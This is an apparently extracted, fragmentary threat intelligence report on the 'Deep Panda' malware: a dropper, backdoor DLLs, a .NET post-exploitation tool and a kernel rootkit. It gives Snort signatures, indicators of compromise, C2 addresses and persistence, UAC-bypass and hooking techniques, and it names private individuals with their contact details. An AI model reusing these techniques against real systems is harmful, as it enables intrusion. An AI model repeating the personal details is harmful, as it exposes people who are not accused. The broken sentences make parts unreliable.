DEEP PANDA INTELLIGENCE TEAM REPORT VER. 1.0 DEEP PANDA 11 EXECUTIVE SUMMARY 2 12 TECHNICAL ANALYSIS 3 Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) 3 Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) 5 Initial C2 Phone Home Beacon 6 Network Protocol and Implementation 7 Backdoor Functionality, Supported Commands 7 Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) 8 Network Protocol and Implementation 9 Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) 10 C2 Communication Mechanisms 12 C2 Command Invocation 13 Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) 14 Entrypoint 14 13 MITIGATION / REMEDIATION 18 Network Signatures 18 File System Artifacts 19 Registry Artifacts 19 Other Artifacts 19 14 ATTRIBUTION 20 15 CONCLUSION 25 Dropper/Implant #1 25 Post Exploitation Tool 25 Implant #2 26 Backdoor DLL 26 System Driver 26 16 APPENDIX 27 Appendix A: Command Line Options for Post Exploitation Tool Sample 27 Appendix B: Algorithm for computing machine ID 28 Appendix C: Remote Commands Supported by .NET Backdoor Post Exploitation Tool Sample 28 Appendix D: Raw bytes of example Authentication packet. 30 Appendix E: Initialization of KEY and IV for AES 30 Appendix F: Command & Control Servers 31 Appendix G: Edward Sun s kernel network hook code 32 Appendix H: Command and Control MD5 Correlation 41 DEEP PANDA EXECUTIVE SUMMARY The samples were clearly malicious and varied in sophistication. All three samples provided remote access to the attacker, via two Command and Control (C2) servers. One sample is typical of what is commonly referred to as a dropper because its primary purpose is to write a malicious component to disk and connect it to the targeted hosts operating system. The malicious component in this case is what is commonly re- ferred to as a Remote Access Tool (RAT), this RAT is manifested as a Dynamic Link Library (DLL) installed as a service. The second sample analyzed is a dual use tool that can function both as a post exploitation tool used to infect other systems, download additional tools, remove log data, and itself be used as a backdoor. The third sample was a sophisticated implant that in addition to having multiple communication capabilities, and the ability to act as a relay for other infected hosts, utilized a kernel mode driver that can hide aspects of the tool from user-mode tools. This third component is likely used for long-term implantation and intelligence gathering. Some AV engines occasionally identify this sample as Derusbi Trojan. CrowdStrike Intelligence Team has seen Trojans from 8 different builder variants of this RAT, including 64-bit versions, used in targeted attacks in 2011 against Defense, Energy/Power, and Chemical Industries in US and Japan. target various strategic interests of the United States including High Tech/Heavy Industry, Non-Governmental Organizations (NGOs), State/Federal Government, Defense Industrial Base (DIB), and organizations with vast economic interests. This report contains an in-depth technical analysis of the samples, detection/remediation/mitigation information, attribution intelligence, and a conclusion aimed at providing the reader with a synopsis of the report. CROWDSTRIKE S E N S I T I VE 2 DEEP PANDA TECHNICAL ANALYSIS Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) The executable 14c04f88dc97aef3e9b516ef208a2bf5 is commonly referred to as a dropper , which is designed with the purpose of extracting from itself a malicious payload and to initialize and install it into a targeted system. In this case, the malicious payload is a Dynamic-Link Library (DLL), which enables an attacker to have full control of the system. This code appears to have been compiled on Wednesday May 4th, 2011 at 11:04:24 A.M. UTC (equivalent to early evening time in China). Note that the timestamp is in resolves several library functions provided by Microsoft using the LoadLibrary() and GetProcAddress() Application Programming Interfaces (APIs). The imported function names are not encrypted; however, the function name is minutely obfuscated by a simple single character substitution: //Obfuscation of GetTempPathA() API function call strcpy((char *)ProcName, 2etTempPathA ProcName[0] = The dropper invokes the SHGetSpecialFolderPath() API supplying a Constant Special Item ID List (CSIDL) CSIDL_COMMON_DOCUMENTS to identify the destination folder for the malicious DLL payload. The users. A typical path is C:\Documents and Settings\All Users\Documents. available name in this set: 1. infoadmn.dll 2. infoctrs.dll 3. infocardapi.dll artifact which indicates the language setting on the compiler used by the person who built the binary was CROWDSTRIKE S E N S I T I VE 3 DEEP PANDA code version. Since the dropped resource is not compressed, the routine fails. This indicates a low parameter. This export then implements the actual install logic to maintain persistence and invoke the main routine. The dropper binary contains an icon resource that resembles the Google Chrome browser icon, the re- systems language set to Chinese. The use of the Chrome icon may indicate a possible attempt to socially CROWDSTRIKE S E N S I T I VE 4 DEEP PANDA Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) 14c04f88dc97aef3e9b516ef208a2bf5. This code appears to have been compiled on Wednesday May 4th, 2011 at 10:48:19 A.M. UTC (equivalent to early evening time in China). It is instantiated when it is mapped service despite the appearance. If the service is present, the malware replaces its previous instances or versions of this backdoor. After attempting to disable the existing service, the malware tries to install itself as a service with that same name. During installation, the sample attempts to use documented APIs such as OpenSCManager() and CreateService() to initialize itself as a persistent Windows service. As a precaution, the sample writes settings directly to the Windows Registry to accomplish the same goal if installing the service with the documented APIs fails. The registry change creates the following key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msupdate\\Parameters Following this, the subroutine will set the value of the ServiceDLL to the module handle of the DLL. The next key to be changed is: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost, which will have the msupdate key set to msupdate The export CollectW3PerfData is registered as the main function of the DLL. If the installation of the new service is successful, the sample then starts the new service and exits. If the installation fails, the sample exported function. In the case of installation failure, rundll32.exe calls the main functions export over the machine, as rundll32.exe is frequently launched by tasks such as changing the time, wallpaper, or other system settings. This means that after cleaning up the components dropped by the malware, the system remains vulnerable to local attacks by simply overwriting the legitimate rundll32.exe executable with a malicious version and await it s automatic execution by the Operating System. Window with class NOD32_%d where %d is replaced with a pseudo-random number. This may be an attempt to fool some automated dynamic analysis or anti-malware software into believing this is the After creating this window, the routine starts the main thread that eventually initiates calling out to the Command and Control (C2). In order to accomplish this task, the newly CROWDSTRIKE S E N S I T I VE 5 DEEP PANDA created thread initializes networking APIs using WSAStartup() and resolves some other APIs dynamically using LoadLibrary() and GetProcAddress(). Once the proper API s have been resolved, the sample then assigns a NULL SID to the rundll32.exe executable and sets the current process Window Station to winsta0 , which enables the sample to access the real user s desktop if started as service. The communication to the C2 is handled by a while() loop, with each successive connection attempt causing the loop to invoke the Windows Sleep() API for a time interval of 2 seconds, exponentially increasing in length up to 1024 seconds (17 minutes) and then restarting back to 2 seconds. Initial C2 Phone Home Beacon in the binary, using the User-Agent string Google , this code is not activated due to the format of the stat- a raw socket to the C2 located at 1.9.5.38:443. This indicates the use of a boiler plate code or a builder software package that automates the creation of the malicious sample. The malicious sample sends an initial beacon to the C2 that includes the following information: Desktop session or none otherwise. The following python function can be used to decode the beacon stings: def decode(crypted): decoded= for x in crypted: decoded+=chr(((ord(x)^(0x1C +1)) + (0x1C +1)) & 0xFF) return decoded CROWDSTRIKE S E N S I T I VE 6 DEEP PANDA After sending the initial beacon, the routine loops receiving incoming commands and executes them in sequence. When a connection can successfully be established to the C2 server, the sleep timer is reset to two seconds for the next attempt. Network Protocol and Implementation The network protocol used by this sample resembles a Type-Length-Value layout in both directions. Each 16 byte request header consists of: 2. A 4-byte little-endian payload length 3. 8 bytes remaining are a request header that is typically uninitialized and only used by some commands instead of the arbitrary length payload buffer of 408 bytes size. Providing additional payload of any larger size will result in a trivial exploitable stack exploitation of this vulnerability is unnecessary due to the already available unauthenticated command execution capabilities of this backdoor. Certain commands initiate a second connection to the C2 in a separate thread using the same network Backdoor Functionality, Supported Commands The primary aim of this backdoor is remote desktop control functionality comparable to VNC or Remote Desktop over a custom protocol. It allows the adversary to view the main desktop graphically and control the keyboard and mouse. This remote control functionality is implemented as separate messages 0x22000001 initiates continuous transmission of screen captures to the C2. The screen captures are created using a series of Microsoft Windows Graphic Device Interface (GDI) API calls culminating in a call to GetDIBits(). Command 0x20000001 exits the backdoor and 0x20000000 is issued to completely remove the backdoor from the system. CROWDSTRIKE S E N S I T I VE 7 DEEP PANDA When command 0x23000004 is received, a temporary new user _DomainUser_ with password Dom4!nU- serP4ss is created and added to the local Administrators group. The backdoor is then started under that account and the user is deleted. It would appear this technique is meant to obfuscate the activities of the malicious sample by masking the process creator s user name to appear to be a generic domain user. Note that such an account does not normally exist in an Active Directory environment. Additionally, the primary C2 connection allows for requests to start additional connections to the C2 imple- menting the following functionality: killing of running processes output of arbitrary executables; initiated by command 0x23000000 Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) This sample is typical of a post exploitation tool; it is written in .NET 2.0. This code appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China). The backdoor functionality can be instantiated either directly from the command line or through commands issued over a network based protocol via the C2. If no arguments are given, a connection to the C2 is initiated to the stati- line arguments can be viewed in Appendix A. This activity is generally associated with log cleaning to com- plicate a forensic investigation. The sample contains an embedded IP address for C2 that is stored in an encrypted format as a string re- source: CROWDSTRIKE S E N S I T I VE 8 DEEP PANDA 202.86.190.3:80 (Hong Kong: TeleOne(HK) Limited). Network Protocol and Implementation There are three components to the protocol: Authentication is accomplished using a 32 byte packet, this packet consists of: 2. A four byte random number generated by the rand() function 3. The machine ID comprised of an obfuscated combination of the Machine name and hard drive serial number. The algorithm for generating this is in Appendix B 4. The communication protocol version number, which in this sample is 0x2 5. The version of the malicious sample, in this case it is 841 An example authentication packet sent to the C2 is located in Appendix E to the client which is then RC4 encrypted using the random number generated in step 2 from above as the password. This value is then transformed using a simple algorithm in Appendix F into a 32 byte array. The up AES encryption which is then used to encrypt and decrypt any further communications. CROWDSTRIKE S E N S I T I VE 9 DEEP PANDA Beacon, this is typical of this type of malicious sample, it allows the operator to separate various infected hosts in a targeted campaign. The beacon for this sample is formatted as XML and consists of: An example of an unencrypted beacon: Infected System Hostname -8 Microsoft Windows NT 6.1.7601 Service Pack 1 12/27/2011 16:34:36 2 Command handling loop, this is a loop structure that will process and execute commands sent by the C2. The malware sends and receives a heartbeat/keepalive packet every 2 minutes. The command format is derived from a structure consisting of: description of the possible values for commands is in Appendix D. It is important to note that the order in calling methods on those assemblies, connecting to new C2 servers and executing processes. Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) This sample is a sophisticated backdoor which implements several communications protocols and was UTC (late evening time in China). The code contains several Run Time Type Information (RTTI) artifacts that CROWDSTRIKE S E N S I T I VE 10 DEEP PANDA Variants of this Trojan are sometimes detected under the name Derusbi by Microsoft, Trend, Sophos and Symantec AV engines. This sample is a DLL which can be registered as a service and is used to drop a kernel driver and provide an interactive command line shell to the C2. It also is able to bypass User Account Control (UAC) to install itself by using the sysprep.exe Microsoft Windows executable provided by the targeted system. The steps it takes to install itself onto a system are as follows: 1. Copies itself to to %WINDIR%\system32\Msres<3 random characters>.ttf the current system time when the copy was made but with the year changed to 2005. MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ This defaults to wuauserv 4. Adds itself to list of services started by netsvc using the service name helpsvc 5. If McAfee AV is installed, creates a copy of regsvr32.exe named Update.exe and then schedules the copy to be deleted on reboot using the well documented MoveFileExA API. 6. It then calls either the original or copy of regsvr32.exe with the parameters /s /u and the path to the copy of itself it made in Step 1. The /u parameter means uninstall , which calls DllUnregisterServer, this is an unsophisticated method of DLL entry point obfuscation. 7. DllUnregisterServer installs the driver and initiates the backdoor component. is running (AntiVirus360 program from the Chinese Quihoo 360 Technology Co., LTD 360 ), or the username of the DLL s host process context is not SYSTEM , the driver is not written to disk. Barring the two aforementioned conditions, the sample decrypts the kernel driver to: %sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys - hash of dae6b9b3b8e39b08b10a51a6457444d8. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security code. CROWDSTRIKE S E N S I T I VE 11 DEEP PANDA the backdoor then loads the original service s DLL into the address space with LoadLibrary and invokes the ServiceMain export. This effectively hijacks the original service s entry while retaining its functionality. While there is code in the binary that allows downloading a list of C2 servers from an HTTP URL, the default the one used by the post exploitation .NET tool. C2 Communication Mechanisms The malware has three distinct C2 protocols two of which can be transmitted over HTTP proxies and one can be bundled in two different dual modes (see 3.), totaling 7 distinct supported C2 mechanisms. The con- 1. Proprietary binary header (optionally over an HTTP Proxy using CONNECT mechanism); this protocol consists of 64 random bytes being sent to the C2. The C2 then responds with 64 bytes bytes rotated right by seven bits and compares that value to the seven bits rotated right version of the server s response, effectively neutralizing the rotation s effect; the purpose of this is unclear. request string including HTTP headers (optionally over a HTTP Proxy using CONNECT). The malware requires the response to start with HTTP/1.0 200 or HTTP/1.1 200 and an absence of a Connection: close header. This one HTTP connection will be used for bi-directional communications, sending chunks of POST payload and receiving chunks of the response, interleaved. 3. Two long-running HTTP requests to the same C2 (optionally over an HTTP Proxy with original request verb), one GET request to /Photos/Query.cgi?loginid= followed by a random number and one POST request to /Catelog/login1.cgi . The GET request serves as a down-stream channel while the POST request serves as a upstream channel. legitimate appearing channels as required in order to appear Request For Comment (RFC) compliant with the HTTP protocol. CROWDSTRIKE S E N S I T I VE 12 DEEP PANDA due to time constraints. After establishing any of the aforementioned channels for arbitrary binary data exchange, the malware will start sending and receiving compressed binary blobs via the channel of choice. The C2 s binary data blobs are compressed. No further encryption of the data takes place. All C2 transport implementations contain code for accepting and handling server-side connections of the respective protocols. However, this code does not appear to be invoked. It appears that the author of this code shares the library that implements these transports for the client with the C2 server. C2 Command Invocation The main backdoor thread then reads commands from the chosen C2 protocol and passes them on to any of the following registered handler classes based upon a command ID. The handler class is responsible for parsing the remainder of the command. PCC_PROXY: TCP Proxy This handler class implements a generic TCP proxy. It supports establishing TCP connections to other hosts and also listening for incoming connections. The incoming connection contents are forwarded to the C2 and data from the C2 is passed on to connections. It supports up to 1024 parallel connections. PCC_MISC : Gather and report system information The malware is capable of gathering various pieces of information from the system, triggered by a command ID 10. The capabilities include recovering authentication credentials from various system and client storage such as Mozilla Firefox, Internet Explorer, and Remote Access Service (RAS). This class also supports gathering intelligence on the infected system including identifying security tools by their process name, proxy accounts, and version numbers for the Operating System (OS) and Internet Explorer. PCC_SYS: System Management This handler class provides the attacker with the ability to manage system components including start/stop/ delete system services, enumerate/alter registry keys, and manage running processes. This class also provides the ability for the attacker to take a screen shot of the users desktop. INTERNAL_CMD: Command-Line Shell CROWDSTRIKE S E N S I T I VE 13 DEEP PANDA This handler class uses the command ID 5 and implements an interactive command line shell accessible from the C2 server, containing a series of built-in commands. If the input is not in this list of built-in commands, the malware attempts to invoke cmd.exe in the background, launching a command or command line utility already present on the system. The standard output channel of that command is provided back to the C2. The supported built-in commands are: Kill Switch / Self-Destruction The only command that is implemented directly in the main backdoor thread as a subprocedure call and not via a generic command handler class is command ID 256. This command results in the DLL deleting itself and terminating the backdoor process. Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) This sample is a packed 32-bit kernel driver extracted by the aforementioned DLL with an MD5 hash of: de7500fc1065a081180841f32f06a537, this sample will only function on a Windows 32-bit kernel. This code appears to have been compiled on Sunday October 9, 2011 at 4:50:31 P.M. UTC (very early morning time of Monday, October 10 in China). Entrypoint This section describes how the driver performs its initialization routine. Multiple Instance Protection The driver begins by opening a named event in the BaseNamedObjects object directory with the name exists, the driver fails to load, presumably to avoid a CROWDSTRIKE S E N S I T I VE 14 DEEP PANDA multiple instances of itself. If the event does not exist, the driver then creates it using the Windows API and indicative of relatively limited Windows API knowledge of the author of that part of the code. It is interesting to note that some of the hex digits in the object name are mixed case which is potentially indicative of the code being re-appropriated from another source. Anti-Debugging Protection The second component of the entry point performs an anti-debugging technique, calling the function KdDisableDebugger(), which allows the driver to disable usage of the built-in Windows kernel debugging facility that is used by popular kernel debuggers KD and WinDbg. Tools such as Syser Debugger, or debugging through a virtual machine are unaffected by this technique. The sample, rather than importing the KdDisableDebugger() API using conventional methods, looks up the API through MmGetSystemRoutineAddress() instead. All of the other APIs used by the driver are imported normally, so this is not a technique to hide import APIs used throughout the driver. Searching Google for MmGetSystemRoutineAddress and KdDisableDebugger results in dozens of Chinese language blogs which explain how to use this technique to Disable WinDbg Hooking is designed to hook the system call table, while the other hooks the network stack. Network Stack Hooking the version is necessary because Windows versions beginning with Vista utilize a redesigned TCP/IP net- work stack, most hooking operations will require a different implementation for these versions. On versions prior to Windows Vista, the TCP/IP driver creates a \Device\Tcp device object through which most network requests are piped through. On Vista and later, TCP/IP has been split up into multiple components, and IP connection enumeration, which this driver is targeting, is managed by \Device\nsiproxy instead. In either case, the driver obtains the device object by using IoGetDeviceObjectPointer() and hooks Major Function 14 the IRP_MJ_DEVICE_CONTROL, as this is the function through which all Input Output ConTroLls (IOCTLs) are sent, such as the IOCTL for querying active IP connections. Network Store Interface (NSI) Hook The NSI hook, targets IOCTL 0x12001B, which is used by NsiGetObjectAllParameters() in nsi.dll when users typically run commands such as netstat.exe or use any of the IP Helper APIs in iphlpapi.dll. The purpose of the hook is to scan the list of active connections returned to the user, and hide any such connection currently bound to a local TCP port in CROWDSTRIKE S E N S I T I VE 15 DEEP PANDA the range between 40000 and 45000. The hooking is performed by creating a new completion routine associated with any IRP_MJ_DEVICE_CONTROL IRP that matches the IOCTL, attaching to the target process, performing several memory copies to hide the entry, and detaching. This functionality is nearly identical to the code posted by Edward Sun (aka cardmagic, sunmy1@sina.com, onlyonejazz@hotmail.com, cardcian@mail.ustc.edu.cn, QQ# 28025945) from Hefei, Anhui province (Nanjing Military District) on July 8, 2007, then a China-based researcher at Trend Micro (now working at at http://forum.eviloctal.com/viewthread.php?action=printable&tid=29604 (See Appendix G). CrowdStrike has no information connecting Mr. Sun to this intrusion activity, his code appears to have been appropriated by the actor to add similar functionality to their code. TCP Hook The TCP hook works almost identically to the NSI hook, though instead hooking IOCTL 0x120003 (IOCTL_ any connections listening on TCP ports in the range between 40000 and 45000. System Call Hooking DWORD at each of these exported functions. Because the system call stub uses the EAX register as an index for the system call ID, and a mov eax, imm32 instruction instruction is used, this second DWORD will match the system call ID. It then adds this index to the value of KeServiceDescriptorTable.Base, which is the exported kernel variable (on 32-bit Windows only) which directly points to the system call table. This is one of the simplest ways to do a system call hook, but will not work on 64-bit Windows as this variable is not exported in addition to the protection provided by Microsoft PatchGuard. Windows API IoAllocateMdl(), and associating the MDL to a non-paged buffer using MmBuildMdlForNonPagedPool(). Once the MDL is associated to the non-paged buffer, the sample locks the underlying pages using the Windows API MmProbeAndLockPages(). Instead of hooking the entry in the table directly, which is easily detectable, the driver uses the LDASM open-source disassembly engine to analyze the function that is being pointed to by the table, and applying a Detours-style hook directly in the code. It uses the standard mov cr0, eax technique, turning off the Write Protect (WP) bit as it does this. When the hook is installed, it writes a special DWORD value, KDTR , which allows it to prevent double-hooking or badly-hooking the system call, during unhooking, this value is also checked. Registry Hooks \\REGISTRY\\MACHINE\\SYSTEM is blocked. RegSaveKey() which is backup of a particular registry key. CROWDSTRIKE S E N S I T I VE 16 DEEP PANDA \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\. It then checks for the values of the ServiceDll and Security keys, in the latter case it applies an XOR on the data with the value 127. The user-mode component of this malware is a service called msupdate , this driver is attempting to hide the key, due to the fact that these APIs provide almost identical functionality when it comes to reading registry values. In the registry hooking code of the driver, a call is made to ObReferenceObjectByHandle(). This allows the driver to receive the CM_KEY_OBJECT which is then used with ObQueryNameString() to get the key/value path. However, no call to ObDereferenceObject() is ever made, which means that all registry objects being sent to these APIs are eventually leaked. In the registry hook, it was noticed that CurrentControlSet001 was used as the target, if the target machine function as intended. This is the reason the Microsoft implemented a symbolic link to \\CurrentControlSet CROWDSTRIKE S E N S I T I VE 17 DEEP PANDA MITIGATION / REMEDIATION Network Signatures The following network signatures are designed for the popular Open Source IDS called Snort. These signature can be ported to other formats upon request. Malware #1 alert tcp any any <> any any (msg: BackDoor Beacon Attempt ; content: |78 7c 71 4c 4a 49 49 49 4A 4C 46| ; classtype:backdoor; sid:123456; rev:27122011;) alert tcp any any <> any any (msg: BackDoor Beacon Attempt ; content: Goo- gle ; http_uri; classtype:backdoor; sid:123457; rev:27122011;) alert ip 1.9.5.38 any <> any any (msg: Malicious Host Detected ; class- type:backdoor; sid:123460; rev:27122011;) Malware #2 alert tcp any any <> any any (msg: BackDoor Beacon Attempt ; content: |03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 0000 00 00| ; classtype:backdoor; sid:123458; rev:27122011;) alert ip 202.86.190.3 any <> any any (msg: Malicious Host Detected ; class- type:backdoor; sid:123459; rev:27122011;) Malware #3 alert tcp any any <> any any (msg: BackDoor C2 ; content: POST /forum/ login.cgi HTTP/1.1 ; content: User-Agent: Mozilla/4.0 ; classtype:backdoor; sid:123461; rev:27122011;) alert tcp any any <> any any (msg: BackDoor C2 ; content: GET /Photos/Query. cgi?loginid= ; classtype:backdoor; sid:123462; rev:27122011;) alert tcp any any <> any any (msg: BackDoor C2 ; content: POST /Catelog/ login1.cgi HTTP/1.1 ; content: User-Agent: Mozilla/4.0 ; classtype:backdoor; sid:123461; rev:27122011;) CROWDSTRIKE S E N S I T I VE 18 DEEP PANDA File System Artifacts Dropper/DLL C:\Documents and Settings\All Users\Documents\infoadmn.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infoctrs.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infocardapi.dll (TS: 2007-03-07 00:00:00) MD5: 47619fca20895abc83807321cbb80a3d Post Explotiation Tool MD5: 2dce7fc3f52a692d8a84a0c182519133 Backdoor MD5: de7500fc1065a081180841f32f06a537 Kernel Driver: MD5: dae6b9b3b8e39b08b10a51a6457444d8 %sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys Registry Artifacts The following Windows Registry artifacts are indicative of a compromised host: Dropper/DLL HKLM\\SYSTEM\\CurrentControlSet\\Services\\msupdate HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost which will have the msupdate key set to msupdate Backdoor HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Msres<3 character rand>.ttf Other Artifacts Dropper/DLL Username: _DomainUser_ Password: Dom4!nUserP4ss Backdoor The backdoor may be detected by several different Anti-Virus products under a signature with the name: Derusbi Kernel Driver Object: {8CB2ff21-0166-4cf1-BD8F-E190BC7902DC} CROWDSTRIKE S E N S I T I VE 19 DEEP PANDA ATTRIBUTION Attribution in the cyber domain is always a tricky subject when relying solely on malicious samples. Compiler artifacts and language settings can of course be deliberately masked or spoofed. CrowdStrike uses a unique approach of comprehensive threat analysis in order to decipher attributable components. Based on the corroborating evidence discovered in the course of this analysis, it appears there are numerous indications that this is a Chinese-speaking actor. , a Chinese security product available from http://www.360.cn/. This is particularly relevant in this case because the backdoor DLL sample with an MD5 this tool. Speculatively this may be because this security product detects this rootkit, or the author was attempting to prevent accidental infection on systems running this Anti-Virus product. The obfuscation of the KdDisableDebugger() function call is seen on several Chinese language forums, and can be seen being reused in several code samples on those forums. As previously mentioned there is no advantage associated with using this call obfuscation, and appears to be reused for no apparent reason other than the attackers have copied code directly from forum code. While the various network hooking techniques used in the kernel driver may appear novel or well rootkit.com by a Chinese language developer. This post is currently mirrored on dozens of Chinese hacking websites. Similarly the system call hooking is less impressive after searching for IoAllocateMdl and (bbs.pediy. com/showthread.php?t=77467 perform system call hooking through MDLs. The ldasm inline hooking is also repeated in numerous postings to Chinese forums. One particular website (http://read.pudn.com/downloads197/sourcecode/windows/sys- tem/927802/CCRootkit/RootkitSys/HookSSDT.c__.htm) had an almost identical ldasm loop that tried to identify the exact same code sequences. Open source research of the 4 innocuous kernel APIs Chinese website that has a cached rootkit performing similar hooks on the same 3 registry related APIs. While the driver does not use pool tags for most of its allocations, it does utilize them in the networking hooking code, much like the examples found on the Chinese language forums. This sample uses pool tags: tnet, and KDTR . Although the meaning of the KDTR tag is not 1 http://bbs.pediy.com/showthread.php?t=125358 http://kost0911.pixnet.net/blog/post/36914183-anti-anti-windbg CROWDSTRIKE S E N S I T I VE 20 DEEP PANDA coincides with the matching functionality of the detour-style inline hook. The driver code (MD5: dae6b9b3b8e39b08b10a51a6457444d8) appears to be a combination of various code that is easily searchable on the Internet, and almost always attributed to Chinese language forums and websites. The system call hooking parts of the code appear to be identical to the HookSSDT.c code authored by Steven Lai embedlinux and utilized in what the author titled CC Rootkit on on August 4, 2008 s email address is hqulyc@126.com. This user has a QQ identity of: 5054-3533, QQ is a popular (http://user.qzone.qq.com/50543533) appears to be Steven Lai. He was is 28 years old (born September 5, at Xiamen XOCECO New Technic Co., Ltd. (http://www.likego.com/en/about.asp), a company that builds however was used by whomever built the kernel driver utilized by the backdoor and for this reason we are providing the background on this individual. CROWDSTRIKE S E N S I T I VE 21 DEEP PANDA ATTRIBUTION For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team CROWDSTRIKE S E N S I T I VE 22 DEEP PANDA ATTRIBUTION For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team CROWDSTRIKE S E N S I T I VE 23 DEEP PANDA ATTRIBUTION For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team (http://read.pudn.com/downloads197/sourcecode/windows/system/927802/CCRootkit/RootkitSys/HookSS- DT.c__.htm). According to this Linux driver development guide embedlinux published on July 31, 2008 (http://wenku. baidu.com/view/e24205294b73f242336c5f45.html), t CROWDSTRIKE S E N S I T I VE 24 DEEP PANDA CONCLUSION The samples involved in this incident are typical of attacks commonly associated with the People Republic of China (PRC). These code samples have a variety of Tools, Techniques, and Procedures (TTPs) The ability to conduct Incident Response (IR) including forensics, and log analysis, greatly augments this visibility into these aspects of the incident. Some indications as to the adversaries capabilities can be derived from the captured samples alone. Dropper/Implant #1 The dropper code (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) does not utilize any techniques that are unique or unusual, and is consistent with tools, techniques, and procedures of attacks targeting proprietary information and generally attributed to the PRC. The presence of dead code and its replacement by a more side. The dead code utilizes a more sophisticated compression algorithm provided by a third party which was rendered useless for some reason. This may have been a result of the attacker modifying an existing tool, or unknowingly using a re-purposed tool. The dropper resources indicate the compiler used to build the tool was running on a system that utilized the Chinese Simple language pack and was built on Wednesday May 4th, 2011 at 11:04:24 A.M. UTC (early evening time in China). While this can be deliberately spoofed speaking actor. The dropped DLL (MD5: 47619fca20895abc83807321cbb80a3d) itself contains functionality that is typical - encryption/obfuscation using a statically compiled XOR key. The sample uses TCP port 443 for commu- nication, but makes no attempt to mimic the SSL protocol typically used on that port number, which would provide enhanced Operational Security (OPSEC). This code appears to have been compiled on Wednes- day May 4th, 2011 at 10:48:19 A.M. UTC (early evening time in China). Post Exploitation Tool The post exploitation tool (MD5: 2dce7fc3f52a692d8a84a0c182519133) is a dual-use tool, it can be dropped and executed by a client-side exploit, or the adversary can launch it using a variety of command line options. This tool is built in Microsoft .NET framework, which is typically an indication of a less sophis- ticated attacker, because .NET is easier to develop in but requires the .NET framework be present on the victim machine. The tool appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China). The sample utilizes the AES cryptographic algorithm to protect its C2 communications. CROWDSTRIKE S E N S I T I VE 25 DEEP PANDA Implant #2 Backdoor DLL This DLL is a moderately sophisticated backdoor with several well designed communication mechanisms not typically seen in these types of implants. The code base for the sample was developed in C++. The code appears to have been compiled on Sunday October 30, 2011 at 12:43:33 P.M. UTC (late evening time in China). This sample has multiple communication capabilities available that makes it far more versatile and stealthy. It implements relatively well thought out protocols including HTTP and DNS. The tool has the ability to automatically down select the most effective communication channel once it has been instantiated, which can help avoid detection from solutions like DNS blacklisting and RFC protocol enforcement. The DLL itself contains traces of the original C++ class names that were utilized in the source code, which in communicating to the C2, thus enhancing OPSEC. The sample contains dead code which appears to be command and control server classes, this is likely an indicator that the C2 client which would communicate with this sample shares the same communications library which was compiled into this sample. System Driver The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the CCRootkit package publicly by Steven Lai (a/k/a embedlinux). This kernel mode rootkit implements several hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL. The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the source code Steven Lai posted. This driver attempts to hide a wide swath of TCP ports (40000-45000) for an unknown reason, however it is suspected that this may relate to the potential network relaying capability alluded to for the backdoor dll. System Driver The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the CCRootkit package publicly by Steven Lai (a/k/a embedlinux). This kernel mode rootkit implements several hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL. The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the source code Steven Lai posted. This driver attempts to hide a wide swath of TCP ports (40000-45000) for an unknown reason, however it is suspected that this may relate to the potential network relaying capability alluded to for the backdoor dll. CROWDSTRIKE S E N S I T I VE 26 DEEP PANDA APPENDIX Appendix A: Command Line Options for Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133 iu - impersonate user, iu represents a username and expects the following additional arguments. id -domain ip -password f - perform command based on value. Possible values listed below sh - Connect to C2. x - hostname, connect to http address to download y - port u - username w - password l - set up listener s - hostname p - port v - display communication protocol version dl url - url to download from. ul url - url to upload to. cl as to hide the tampering. p - target path m tu date of 11-30-2005:12:00:00 with the UTC offset of the system applied. p - target path m r d t wmi - perform Windows Management Instrumentation (WMI) command s - machine u - username p - password m - can be one of the following 3 items CROWDSTRIKE S E N S I T I VE 27 DEEP PANDA Appendix B: Algorithm for computing machine ID char ch = foreach(char ch2 in Environment.MachineName) ch = (char)(ch ^ ch2); byte num3 = (byte)ch; return (GetVolumeSerial() ^ (uint)(((num3 + (num3 * 0x100)) + (num3 * 0x10000)) + (num3 * 0x1000000))); Appendix C: Remote Commands Supported by .NET Backdoor Post Exploita- 